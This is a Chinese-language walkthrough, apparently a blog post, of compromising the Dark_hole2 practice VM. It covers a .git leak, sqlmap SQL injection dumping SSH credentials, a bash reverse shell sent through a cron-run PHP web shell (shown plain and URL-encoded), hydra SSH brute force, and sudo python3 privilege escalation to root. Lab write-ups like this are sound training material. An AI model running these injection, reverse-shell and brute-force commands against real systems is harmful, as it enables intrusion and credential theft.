Dark_hole2靶机实战——详细版

一、信息收集

1、探测存活主机

arp-scan -l

在这里插入图片描述

2、nmap -T4 -A -v 192.168.219.176

在这里插入图片描述

发现目标开启80、22端口,并且80端口存在.git泄露

二、访问目标web服务

1、发现目标web有登录页面,无法弱口令,且前端有邮箱格式校验

在这里插入图片描述

2、访问.git目录,发现存在泄露。

在这里插入图片描述

A下载git-dump工具
创建并进入test目录,下载git-dump工具包

在这里插入图片描述

查看工具

在这里插入图片描述

因为此工具为py编写,所以要准备py环境
pip install -r requirements.txt

在这里插入图片描述

B利用git-dump工具下载目标代码到backup目录
python3 git_dumper.py http://192.168.219.176/.git/ backup

在这里插入图片描述

进入backup目录
a、查看修改历史,git log查看修改文件后形成的哈希值

在这里插入图片描述

b、查看修改内容

git diff

在这里插入图片描述

发现修改历史中有账号和密码,以及dashboard.php页面

username:lush@admin.com

password:321

三、进入网站后台

发现账号管理页面,可以修改账号信息

在这里插入图片描述

发现sql注入漏洞

BP抓包获取cookie值,用来跑sqlmap

在这里插入图片描述

爆出数据库

sqlmap -u http://192.168.219.176/dashboard.php?id=1 --dbs --batch --cookie PHPSESSID=pnkndkqet071pbpplao0rv1tbl

在这里插入图片描述

进一步爆表

sqlmap -u http://192.168.219.176/dashboard.php?id=1 --dbs --batch --cookie PHPSESSID=pnkndkqet071pbpplao0rv1tbl -D darkhole_2 --tables

在这里插入图片描述

进一步爆ssh的列

sqlmap -u http://192.168.219.176/dashboard.php?id=1 --dbs --batch --cookie PHPSESSID=pnkndkqet071pbpplao0rv1tbl -D darkhole_2 -T ssh --columns

在这里插入图片描述

进一步爆ssh列的数据

sqlmap -u http://192.168.219.176/dashboard.php?id=1 --dbs --batch --cookie PHPSESSID=pnkndkqet071pbpplao0rv1tbl -D darkhole_2 -T ssh -C user,pass --dump

在这里插入图片描述

!!!获取到SSH用户密码!!!

user:jehad

pass:fool

爆破另一个表users的列

sqlmap -u http://192.168.219.176/dashboard.php?id=1 --dbs --batch --cookie PHPSESSID=pnkndkqet071pbpplao0rv1tbl -D darkhole_2 -T users --columns

在这里插入图片描述

爆破users列的数据

sqlmap -u http://192.168.219.176/dashboard.php?id=1 --dbs --batch --cookie PHPSESSID=pnkndkqet071pbpplao0rv1tbl -D darkhole_2 -T users -C username,password --dump

在这里插入图片描述

四、利用SSH远程登录目标靶机,并获得root权限。

ssh jehad@192.168.219.176

在这里插入图片描述

提权

查看内核是否有漏洞
uname -a
Linux darkhole 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
无漏洞
sudo -l
Sorry, user jehad may not run sudo on darkhole.(不可 sudo提权)

进行suid提权(不可)
find / -user root -perm -4000 -print 2>/dev/null

--------------计划任务提权-------------

cat /etc/crontab提权

发现有一个端口开启

在这里插入图片描述

发现有一个端口开启

losy cd /opt/web && php -S localhost:9999

进入对应目录,并查看文件

在这里插入图片描述

发现有php代码可以拿到cmd

利用curl工具

curl "http://localhost:9999?cmd=bash -c 'bash -i >& /dev/tcp/192.168.219.169/2345 0>&1'"

发现服务端没有回复

了解curl后发现可以对命令进行url编码来符合curl

bash -c 'bash -i >& /dev/tcp/192.168.219.169/2345 0>&1'
编码后
%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%31%39%2e%31%36%39%2f%32%33%34%35%20%30%3e%26%31%27

反弹shell

kali监听:
nc -lvvp 2345
靶机:
curl "http://localhost:9999?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%32%31%39%2e%31%36%39%2f%32%33%34%35%20%30%3e%26%31%27"

在这里插入图片描述

获取losy用户权限

sudo -l (发现不能够使用sudo,因为没有losy密码)
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper

在这里插入图片描述

方法一:想到爆破密码(一般不建议)

hydra -l losy -P pass4.txt ssh://192.168.219.176 -f 

[22][ssh] host: 192.168.219.176 login: losy password: gang

方法二:josy用户退回到根目录查看所有文件(包括隐藏文件)
ls -al发现一个历史命令记录

在这里插入图片描述

cat .bash_history

在这里插入图片描述

获得用户密码losy:gang

SSH登录losy用户(sudo提权)

在这里插入图片描述
在这里插入图片描述

发现可以利用python3提权

sudo python3 -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

进入root用户,回到根目录
在这里插入图片描述

  • 12
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值